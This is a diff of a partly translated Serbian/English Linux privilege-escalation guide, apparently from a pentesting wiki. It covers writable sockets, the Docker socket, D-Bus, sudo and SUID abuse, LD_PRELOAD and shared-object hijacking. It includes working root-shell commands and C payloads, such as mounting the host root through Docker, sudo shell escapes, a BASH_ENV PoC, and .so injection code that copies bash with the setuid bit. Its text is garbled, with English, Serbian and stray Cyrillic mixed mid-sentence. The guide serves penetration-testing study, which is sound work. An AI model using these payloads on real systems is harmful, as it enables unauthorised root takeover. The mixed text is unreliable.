biste omogućili timer potrebne su root privilegije i izvršite: +Da biste omogućili tajmer, potrebne su vam root privilegije i da izvršite: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Napomena: **timer** je **aktiviran** kreiranjem symlinka ka njemu u `/etc/systemd/system/.wants/.timer` +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) omogućavaju **komunikaciju procesa** na istoj ili različitim mašinama unutar client-server modela. Koriste standardne Unix descriptor fajlove za međuračunarsku komunikaciju i konfigurišu se kroz `.socket` fajlove. +Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. -Sockets se mogu konfigurisati koristeći `.socket` fajlove. +Sockets can be configured using `.socket` files. -**Saznajte više o sockets pomoću `man systemd.socket`.** U ovom fajlu mogu se konfigurisati nekoliko interesantnih parametara: +**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ove opcije se razlikuju, ali suštinski služe da **naznače gde će se slušati** socket (putanja AF_UNIX socket fajla, IPv4/6 i/ili broj porta koji će se slušati, itd.) -- `Accept`: Prima boolean argument. Ako je **true**, **stvara se instanca servisa za svaku dolaznu konekciju** i samo konekcioni socket joj se prosleđuje. Ako je **false**, svi listening socket-i se **prosleđuju pokrenutoj service jedinici**, i pokreće se samo jedna service jedinica za sve konekcije. Ova vrednost se ignoriše za datagram socket-e i FIFO-e gde jedna service jedinica bezuslovno obrađuje sav dolazni saobraćaj. **Podrazumevano je false**. Iz razloga performansi, preporučuje se da novi daemoni budu pisani na način pogodan za `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Prima jednu ili više komandnih linija, koje se **izvršavaju pre** ili **posle** kreiranja i bind-ovanja listening **sockets**/FIFO-a, respektivno. Prvi token komandne linije mora biti apsolutno ime fajla, nakon čega slede argumenti procesa. -- `ExecStopPre`, `ExecStopPost`: Dodatne **komande** koje se **izvršavaju pre** ili **posle** zatvaranja i uklanjanja listening **sockets**/FIFO-a, respektivno. -- `Service`: Specificira ime **service** jedinice koje će se **aktivirati** pri **dolaznom saobraćaju**. Ova opcija je dozvoljena samo za socket-e sa Accept=no. Podrazumevano je service koji ima isto ime kao socket (sa zamenjenim sufiksom). U većini slučajeva nije neophodno koristiti ovu opciju. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. +- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. +- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. -### Writable .socket files +### Upisivi .socket fajlovi -Ako pronađete **writable** `.socket` fajl, možete **dodati** na početak `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što se socket kreira. Stoga, **verovatno ćete morati da sačekate da se mašina restartuje.**\ -_Napomena da sistem mora koristiti tu konfiguraciju socket fajla ili backdoor neće biti izvršen_ +Ako nađete a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ +_Napomena: sistem mora koristiti tu konfiguraciju socket fajla ili backdoor neće biti izvršen_ ### Writable sockets -Ako **identifikujete bilo koji writable socket** (_sada govorimo o Unix Sockets, a ne o konfiguracionim `.socket` fajlovima_), onda **možete komunicirati** sa tim socket-om i možda iskoristiti ranjivost. +Ako **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. -### Enumerate Unix Sockets +### Enumeracija Unix Sockets ```bash netstat -a -p --unix ``` @@ -538,36 +540,36 @@ socket-command-injection.md ### HTTP sockets -Obratite pažnju da može postojati nekoliko **sockets koji slušaju HTTP** zahteva (_Ne mislim na .socket fajlove već na fajlove koji se ponašaju kao unix sockets_). Možete to proveriti sa: +Imajte na umu da može postojati nekoliko **sockets koji slušaju HTTP zahteve** (_Ne mislim na .socket files već na datoteke koje funkcionišu kao unix sockets_). Možete to proveriti sa: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Ako socket **odgovori na HTTP** zahtev, možete sa njim **komunicirati** i možda **exploit some vulnerability**. +Ako socket **odgovara na HTTP** zahtev, onda možete **komunicirati** sa njim i možda **exploit some vulnerability**. -### Docker socket koji se može upisati +### Upisivi Docker Socket -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. Podrazumevano, dostupan je za upis korisniku `root` i članovima `docker` grupe. Imati pristup za pisanje ovom socket-u može dovesti do privilege escalation. Ovde je pregled kako se to može uraditi i alternativne metode ukoliko Docker CLI nije dostupan. +Docker socket, često se nalazi na `/var/run/docker.sock`, predstavlja kritičan fajl koji treba biti zaštićen. Po defaultu, dozvoljen je za upis od strane `root` korisnika i članova `docker` grupe. Imanje write access-a na ovom socketu može dovesti do privilege escalation. Evo pregleda kako se to može uraditi i alternativne metode ako Docker CLI nije dostupan. #### **Privilege Escalation with Docker CLI** -Ako imate pristup za pisanje Docker socketa, možete escalate privileges koristeći sledeće komande: +Ako imate write access to the Docker socket, možete escalate privileges koristeći sledeće komande: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` Ove komande vam omogućavaju da pokrenete kontejner sa root pristupom fajl sistemu hosta. -#### **Korišćenje Docker API-ja direktno** +#### **Direktno korišćenje Docker API-ja** U slučajevima kada Docker CLI nije dostupan, Docker socket se i dalje može manipulisati koristeći Docker API i `curl` komande. -1. **List Docker Images:** Preuzmite listu dostupnih image-ova. +1. **List Docker Images:** Dohvatite listu dostupnih slika. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Pošaljite zahtev za kreiranje kontejnera koji mount-uje root direktorijum host sistema. +2. **Create a Container:** Pošaljite zahtev za kreiranje kontejnera koji montira root direktorijum host sistema. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -589,13 +591,13 @@ Connection: Upgrade Upgrade: tcp ``` -Nakon uspostavljanja `socat` konekcije, možete izvršavati komande direktno u kontejneru sa root pristupom fajl sistemu hosta. +Nakon uspostavljanja `socat` konekcije, možete direktno izvršavati komande u kontejneru sa root pristupom fajl sistemu hosta. ### Ostalo -Imajte na umu da, ako imate dozvole za pisanje nad docker socket-om zato što ste **unutar grupe `docker`** imate [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Ako je [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Imajte na umu da ako imate write permissions nad docker socket-om zato što ste **inside the group `docker`** imate [**više načina za eskalaciju privilegija**](interesting-groups-linux-pe/index.html#docker-group). Ako [**docker API osluškuje na portu** možete takođe moći da ga kompromitujete](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Proverite **još načina da izađete iz docker-a ili da ga zloupotrebite za eskalaciju privilegija** u: +Pogledajte **više načina da pobegnete iz docker-a ili da ga zloupotrebite za eskalaciju privilegija** u: {{#ref}} @@ -604,16 +606,16 @@ docker-security/ ## Containerd (ctr) eskalacija privilegija -Ako ustanovite da možete da koristite **`ctr`** komandu, pročitajte sledeću stranicu jer **možda ćete moći da je zloupotrebite za eskalaciju privilegija**: +Ako otkrijete da možete koristiti komandu **`ctr`** pročitajte sledeću stranicu jer **možda možete to zloupotrebiti za eskalaciju privilegija**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## Eskalacija privilegija RunC +## **RunC** eskalacija privilegija -Ako ustanovite da možete da koristite **`runc`** komandu, pročitajte sledeću stranicu jer **možda ćete moći da je zloupotrebite za eskalaciju privilegija**: +Ako otkrijete da možete koristiti komandu **`runc`** pročitajte sledeću stranicu jer **možda možete to zloupotrebiti za eskalaciju privilegija**: {{#ref}} @@ -622,15 +624,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus je sofisticovan **inter-procesni komunikacioni sistem (IPC)** koji omogućava aplikacijama efikasnu interakciju i deljenje podataka. Dizajniran za moderni Linux sistem, nudi robustan okvir za različite oblike komunikacije između aplikacija. +D-Bus je sofisticiran sistem za inter-procesnu komunikaciju (IPC) koji omogućava aplikacijama da efikasno međusobno komuniciraju i dele podatke. Dizajniran sa savremenim Linux sistemom na umu, nudi robustan okvir za različite oblike komunikacije između aplikacija. -Sistem je svestran, podržavajući osnovni IPC koji poboljšava razmenu podataka između procesa, podsećajući na **enhanced UNIX domain sockets**. Štaviše, pomaže u emitovanju događaja ili signala, podstičući besprekornu integraciju među komponentama sistema. Na primer, signal od Bluetooth daemona o dolaznom pozivu može navesti plejer muzike da utiša zvuk, poboljšavajući korisničko iskustvo. Dodatno, D-Bus podržava sistem udaljenih objekata, pojednostavljujući zahteve za servisima i pozive metoda između aplikacija, čineći procese koji su tradicionalno bili kompleksni jednostavnijim. +Sistem je svestran, podržava osnovni IPC koji unapređuje razmenu podataka između procesa, podsećajući na **enhanced UNIX domain sockets**. Pored toga, pomaže u emitovanju događaja ili signala, podstičući besprekornu integraciju među komponentama sistema. Na primer, signal od Bluetooth daemona o dolaznom pozivu može naterati plejer da utiša zvuk, poboljšavajući korisničko iskustvo. Dodatno, D-Bus podržava sistem udaljenih objekata, pojednostavljujući zahteve za servisima i pozive metoda između aplikacija, što pojednostavljuje procese koji su nekada bili složeni. -D-Bus funkcioniše po modelu dozvoljavanje/odbijanje, upravljajući permisijama poruka (pozivi metoda, emitovanje signala, itd.) na osnovu kumulativnog efekta podudaranja pravila politike. Ove politike preciziraju interakcije sa bus-om, što potencijalno može omogućiti eskalaciju privilegija kroz eksploataciju ovih permisija. +D-Bus radi po modelu **allow/deny**, upravljajući dozvolama za poruke (pozivi metoda, emitovanje signala, itd.) na osnovu kumulativnog efekta odgovarajućih policy pravila. Ove politike specificiraju interakcije sa bus-om, što potencijalno može dozvoliti eskalaciju privilegija kroz zloupotrebu ovih dozvola. -Primer takve politike u /etc/dbus-1/system.d/wpa_supplicant.conf je naveden, detaljno opisujući dozvole za root korisnika da poseduje, šalje i prima poruke od fi.w1.wpa_supplicant1. +Primer takve politike u `/etc/dbus-1/system.d/wpa_supplicant.conf` je dat, navodeći dozvole za korisnika root da poseduje, šalje i prima poruke od `fi.w1.wpa_supplicant1`. -Politike bez specificiranog korisnika ili grupe važe univerzalno, dok politike u "default" kontekstu važe za sve koji nisu obuhvaćeni nekim drugim specifičnim politikama. +Politike bez specificiranog korisnika ili grupe važe univerzalno, dok se politike u "default" kontekstu primenjuju na sve koji nisu pokriveni drugim specifičnim politikama. ```xml @@ -639,7 +641,7 @@ Politike bez specificiranog korisnika ili grupe važe univerzalno, dok politike ``` -**Naučite kako da enumerate i exploit D-Bus komunikaciju ovde:** +**Saznajte kako da enumerate i exploit D-Bus komunikaciju ovde:** {{#ref}} @@ -675,22 +677,22 @@ lsof -i ``` ### Otvoreni portovi -Uvek proverite mrežne servise koji rade na mašini sa kojom niste mogli da komunicirate pre nego što ste joj pristupili: +Uvek proverite mrežne servise koji rade na mašini sa kojima niste mogli da komunicirate pre nego što joj pristupite: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Proverite da li možete sniff traffic. Ako možete, mogli biste da dohvatite neke credentials. +Proverite da li možete da sniff traffic. Ako možete, mogli biste da grab some credentials. ``` timeout 1 tcpdump ``` -## Users +## Korisnici -### Generic Enumeration +### Generička enumeracija -Proverite **who** ste, koje **privileges** imate, koji **users** postoje u sistemima, koji mogu da se **login** i koji imaju **root privileges**: +Proverite **ko** ste, koje **privilegije** imate, koji **korisnici** se nalaze u sistemu, koji mogu da se **login** i koji imaju **root privilegije**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -712,14 +714,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### Veliki UID -Neke verzije Linuxa su bile pogođene bagom koji omogućava korisnicima sa **UID > INT_MAX** da eskaliraju privilegije. Više informacija: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Iskoristi ga** pomoću: **`systemd-run -t /bin/bash`** +Neke verzije Linux-a su bile pogođene greškom koja omogućava korisnicima sa **UID > INT_MAX** da eskaliraju privilegije. Više informacija: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) i [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** ### Grupe -Proveri da li si **član neke grupe** koja bi ti mogla dodeliti root privilegije: +Proverite da li ste **član neke grupe** koja bi vam mogla dodeliti root privilegije: {{#ref}} @@ -728,7 +730,7 @@ interesting-groups-linux-pe/ ### Clipboard -Proveri da li se u clipboard-u nalazi nešto interesantno (ako je moguće) +Proverite da li se nešto zanimljivo nalazi u clipboard-u (ako je moguće) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -745,27 +747,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Poznate lozinke -Ako **znate bilo koju lozinku** u okruženju, **pokušajte da se prijavite kao svaki korisnik** koristeći tu lozinku. +Ako **znate neku lozinku** iz okruženja, **pokušajte da se ulogujete kao svaki korisnik** koristeći tu lozinku. ### Su Brute -Ako vam ne smeta da pravite mnogo buke i na računaru su prisutni `su` i `timeout` binarni fajlovi, možete pokušati da brute-force-ujete korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa `-a` parametrom takođe pokušava da brute-force-uje korisnike. +Ako vam ne smeta da pravite mnogo buke i ako su binarni fajlovi `su` i `timeout` prisutni na računaru, možete pokušati da brute-force korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa parametrom `-a` takođe pokušava brute-force korisnike. -## Zloupotrebe upisivog PATH-a +## Zloupotrebe upisivog $PATH-a ### $PATH -Ako ustanovite da možete **pisati u neki direktorijum iz $PATH**, možda ćete moći da eskalirate privilegije tako što ćete **kreirati backdoor unutar upisivog direktorijuma** pod imenom neke komande koja će biti izvršena od strane drugog korisnika (idealno root) i koja se **ne učitava iz direktorijuma koji se nalazi pre** vašeg upisivog direktorijuma u $PATH. +Ako otkrijete da možete **pisati u neki folder iz $PATH**, možda ćete moći da eskalirate privilegije tako što ćete **napraviti backdoor u upisivom folderu** pod imenom neke komande koja će biti izvršena od strane drugog korisnika (idealno root) i koja **se neće učitati iz foldera koji se nalazi pre vašeg upisivog foldera u $PATH**. ### SUDO and SUID -Možda vam je dozvoljeno da izvršite neku komandu koristeći sudo, ili fajlovi mogu imati suid bit. Proverite to koristeći: +Može vam biti dozvoljeno da izvršite neku komandu koristeći sudo, ili neke binarne mogu imati suid bit. Proverite to koristeći: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Neke **neočekivane komande vam omogućavaju da čitate i/ili pišete datoteke ili čak izvršite komandu.** Na primer: +Neke **neočekivane komande vam omogućavaju da čitate i/ili pišete datoteke ili čak izvršavate komandu.** Na primer: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -776,13 +778,13 @@ less>! ``` ### NOPASSWD -Sudo konfiguracija može omogućiti korisniku da izvrši neku komandu sa privilegijama drugog korisnika bez poznavanja lozinke. +Sudo konfiguracija može dozvoliti korisniku da izvrši neku komandu sa privilegijama drugog korisnika bez poznavanja lozinke. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -U ovom primeru korisnik `demo` može da pokrene `vim` kao `root`, sada je trivijalno dobiti shell dodavanjem ssh key u root direktorijum ili pozivanjem `sh`. +U ovom primeru korisnik `demo` može da pokrene `vim` kao `root`; sada je trivijalno dobiti shell dodavanjem ssh key u root direktorijum ili pozivanjem `sh`. ``` sudo vim -c '!sh' ``` @@ -794,18 +796,18 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Ovaj primer, **zasnovan na HTB machine Admirer**, bio je **ranjiv** na **PYTHONPATH hijacking** koji је omogućavao učitavanje произвољне python библиотеке током извршавања скрипте као root: +Ovaj primer, **based on HTB machine Admirer**, bio je **vulnerable** na **PYTHONPATH hijacking** koji је омогућавао учитaвање произвољне python библиотеке док се скрипта извршава као root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### BASH_ENV sačuvan preko sudo env_keep → root shell -Ako sudoers sačuva `BASH_ENV` (npr. `Defaults env_keep+="ENV BASH_ENV"`), možete iskoristiti Bash-ovo ponašanje pri pokretanju neinteraktivnih shell-ova da pokrenete proizvoljan kod kao root kada pozivate dozvoljenu komandu. +Ako sudoers sačuva `BASH_ENV` (npr. `Defaults env_keep+="ENV BASH_ENV"`), možete iskoristiti Bash-ovo ponašanje pri neinteraktivnom pokretanju da izvršite proizvoljan kod kao root pri pozivanju dozvoljene komande. -- Zašto to funkcioniše: Za neinteraktivne shell-ove, Bash evaluira `$BASH_ENV` i source-uje taj fajl pre nego što pokrene ciljni skript. Mnoge sudo politike dozvoljavaju pokretanje skripta ili shell wrapper-a. Ako `BASH_ENV` bude sačuvan od strane sudo, vaš fajl će biti učitan sa root privilegijama. +- Zašto ovo radi: Za neinteraktivne shelove, Bash evaluira `$BASH_ENV` i učitava (sources) taj fajl pre nego što pokrene ciljani skript. Mnoge sudo politike dozvoljavaju pokretanje skripta ili shell wrapper-a. Ako sudo sačuva `BASH_ENV`, vaš fajl će biti učitan sa root privilegijama. - Zahtevi: -- Pravilo u sudo koje možete pokrenuti (bilo koji target koji poziva `/bin/bash` neinteraktivno, ili bilo koji bash skript). +- Pravilo u sudo koje možete izvršiti (bilo koji target koji poziva `/bin/bash` neinteraktivno, ili bilo koji bash skript). - `BASH_ENV` prisutan u `env_keep` (proverite sa `sudo -l`). - PoC: @@ -818,12 +820,12 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- Ojačavanje: +- Pojačavanje bezbednosti: - Uklonite `BASH_ENV` (i `ENV`) iz `env_keep`, preferirajte `env_reset`. -- Izbegavajte shell wrappers za sudo-allowed komande; koristite minimalne binarne fajlove. -- Razmotrite sudo I/O logging i alerting kada se koriste sačuvane env vars. +- Izbegavajte shell wrappers za sudo-allowed komande; koristite minimalne binarne. +- Razmotrite sudo I/O logging i alerting kada se koriste preserved env vars. -### Sudo — putevi za zaobilaženje izvršenja +### Putevi za zaobilaženje izvršavanja putem sudo **Skočite** da pročitate druge fajlove ili koristite **symlinks**. Na primer u sudoers fajlu: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash @@ -835,50 +837,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Ako se **wildcard** koristi (\*), još je lakše: +Ako se koristi **wildcard** (\*), to je još lakše: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**Protivmere**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**Protumere**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary bez command path +### Sudo komanda/SUID binarni fajl bez putanje komande -Ako je **sudo permission** dodeljen jednoj komandi **bez specificiranja path-a**: _hacker10 ALL= (root) less_ možete to exploit-ovati menjajući PATH variable. +Ako je korisniku dodeljena **sudo dozvola** za jednu komandu **bez navođenja putanje**: _hacker10 ALL= (root) less_ možete to iskoristiti menjajući PATH promenljivu. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Ova tehnika se takođe može koristiti ako **suid** binary **izvršava neku drugu komandu bez navođenja putanje do nje (uvek proverite sadržaj čudnog SUID binarnog fajla pomoću** _**strings**_**).** +Ova tehnika se takođe može koristiti ako **suid** binary **izvršava drugu komandu bez navođenja putanje do nje (uvek proverite pomoću** _**strings**_ **sadržaj čudnog SUID binary-ja)**). [Payload examples to execute.](payloads-to-execute.md) ### SUID binary sa putanjom komande -Ako **suid** binary **izvršava drugu komandu navodeći putanju**, onda možete pokušati da **export a function** imenovanu kao komanda koju suid fajl poziva. +Ako **suid** binary **izvršava drugu komandu navodeći putanju**, onda možete pokušati da **export a function** sa imenom komande koju suid fajl poziva. -Na primer, ako suid binary poziva _**/usr/sbin/service apache2 start**_ morate pokušati da kreirate funkciju i exportujete je: +Na primer, ako **suid** binary poziva _**/usr/sbin/service apache2 start**_, treba da pokušate da create the function and export it: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Zatim, kada pozovete suid binarni fajl, ova funkcija će biti izvršena +Zatim, kada pozovete suid binary, ova funkcija će biti izvršena ### LD_PRELOAD & **LD_LIBRARY_PATH** -Okruženjska promenljiva **LD_PRELOAD** koristi se za navođenje jedne ili više shared libraries (.so files) koje loader učitava pre svih ostalih, uključujući standardnu C biblioteku (`libc.so`). Ovaj proces se naziva učitavanje biblioteke unapred. +Promenljiva okruženja **LD_PRELOAD** koristi se za specificiranje jedne ili više shared biblioteka (.so fajlova) koje loader učitava pre svih ostalih, uključujući standardnu C biblioteku (`libc.so`). Ovaj proces je poznat kao preloading biblioteke. -Međutim, da bi se održala sigurnost sistema i sprečilo zloupotrebljavanje ove funkcije, naročito kod **suid/sgid** izvršnih fajlova, sistem nameće određene uslove: +Međutim, da bi se održala sigurnost sistema i sprečilo zloupotrebljavanje ove funkcije, posebno kod **suid/sgid** izvršnih fajlova, sistem nameće određene uslove: -- Loader zanemaruje **LD_PRELOAD** za izvršne fajlove gde real user ID (_ruid_) nije isti kao effective user ID (_euid_). -- Za izvršne fajlove sa suid/sgid, samo biblioteke u standardnim putanjama koje takođe imaju suid/sgid biće učitane unapred. +- Loader ignoriše **LD_PRELOAD** za izvršne fajlove gde se real user ID (_ruid_) ne poklapa sa effective user ID (_euid_). +- Za izvršne fajlove sa suid/sgid, preučitavaju se samo biblioteke iz standardnih puteva koje su takođe suid/sgid. -Do eskalacije privilegija može doći ako imate mogućnost izvršavanja komandi sa `sudo` i izlaz `sudo -l` sadrži izjavu **env_keep+=LD_PRELOAD**. Ova konfiguracija omogućava da okruženjska promenljiva **LD_PRELOAD** ostane i bude prepoznata čak i kada se komande pokreću sa `sudo`, što potencijalno može dovesti do izvršavanja proizvoljnog koda sa povišenim privilegijama. +Privilege escalation može da se dogodi ako imate mogućnost da izvršavate komande sa `sudo` i izlaz `sudo -l` sadrži izjavu **env_keep+=LD_PRELOAD**. Ova konfiguracija omogućava da promenljiva okruženja **LD_PRELOAD** ostane sačuvana i bude prepoznata čak i kada se komande pokreću sa `sudo`, što potencijalno može dovesti do izvršavanja proizvoljnog koda sa povišenim privilegijama. ``` Defaults env_keep += LD_PRELOAD ``` -Sačuvajte kao **/tmp/pe.c** +Sačuvaj kao **/tmp/pe.c** ```c #include #include @@ -891,17 +893,17 @@ setuid(0); system("/bin/bash"); } ``` -Zatim **compile it** koristeći: +Zatim **kompajlirajte ga** koristeći: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Na kraju, **escalate privileges** pokretanjem +Konačno, **escalate privileges** pokretanjem ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Sličan privesc može biti zloupotrebljen ako napadač kontroliše **LD_LIBRARY_PATH** env variable, jer on kontroliše putanju na kojoj će se pretraživati biblioteke. +> Sličan privesc može biti zloupotrebljen ako napadač kontroliše **LD_LIBRARY_PATH** env variable, jer on kontroliše putanju u kojoj će se tražiti biblioteke. ```c #include #include @@ -923,13 +925,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Kada naiđete na binarni fajl sa **SUID** permisijama koji izgleda neuobičajeno, dobra je praksa proveriti da li pravilno učitava **.so** fajlove. To se može proveriti pokretanjem sledeće komande: +Kada naiđete na binarni fajl sa **SUID** permisijama koji deluje neobično, dobra je praksa proveriti da li pravilno učitava **.so** fajlove. Ovo se može proveriti pokretanjem sledeće komande: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Na primer, nailazak na grešku kao _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeriše potencijal za eksploataciju. +Na primer, nailazak na grešku kao _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ ukazuje na potencijal za eksploataciju. -Da bi se ovo iskoristilo, kreira se C fajl, na primer _"/path/to/.config/libcalc.c"_, koji sadrži sledeći kod: +Da bi se ovo iskoristilo, pristup bi bio kreiranje C fajla, na primer _"/path/to/.config/libcalc.c"_, koji sadrži sledeći kod: ```c #include #include @@ -940,13 +942,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Ovaj kod, nakon što se kompajlira i izvrši, ima za cilj eskalaciju privilegija manipulacijom dozvola fajlova i pokretanjem shell-a sa povišenim privilegijama. +Ovaj kod, nakon kompajliranja i izvršavanja, ima za cilj eskalaciju privilegija menjajući dozvole fajlova i pokretanjem shell sa povišenim privilegijama. -Kompajlirajte gore navedeni C fajl u shared object (.so) fajl pomoću: +Kompajlirajte gore navedeni C fajl u shared object (.so) fajl koristeći: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Na kraju, pokretanje pogođenog SUID binary-ja trebalo bi da aktivira exploit i omogući potencijalno kompromitovanje sistema. +Na kraju, pokretanje pogođenog SUID binary-ja trebalo bi да pokrene exploit, omogućavajući potencijalno kompromitovanje sistema. ## Shared Object Hijacking ```bash @@ -958,7 +960,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Sada kada smo pronašli SUID binarni fajl koji učitava biblioteku iz fascikle u koju možemo pisati, napravimo biblioteku u toj fascikli sa potrebnim imenom: +Sada kada smo pronašli SUID binarni fajl koji učitava biblioteku iz direktorijuma u koji možemo pisati, napravimo biblioteku u tom direktorijumu sa potrebnim imenom: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -971,17 +973,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Ako dobijete grešku poput +Ako dobijete grešku kao što je ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -to znači da biblioteka koju ste generisali mora da ima funkciju nazvanu `a_function_name`. +to znači da biblioteka koju ste generisali treba da ima funkciju nazvanu `a_function_name`. ### GTFOBins [**GTFOBins**](https://gtfobins.github.io) je kurirana lista Unix binarnih fajlova koje napadač može iskoristiti da zaobiđe lokalna bezbednosna ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto, ali za slučajeve kada možete **samo ubacivati argumente** u komandu. -Projekat prikuplja legitimne funkcije Unix binarnih fajlova koje se mogu zloupotrebiti za izlazak iz restricted shells, eskalaciju ili održavanje povišenih privilegija, transfer fajlova, spawn bind i reverse shells, i olakšavanje ostalih post-exploitation zadataka. +Projekat sakuplja legitimne funkcije Unix binarnih fajlova koje se mogu zloupotrebiti da se pobegne iz ograničenih shell-ova, eskaliraju ili održe povišene privilegije, 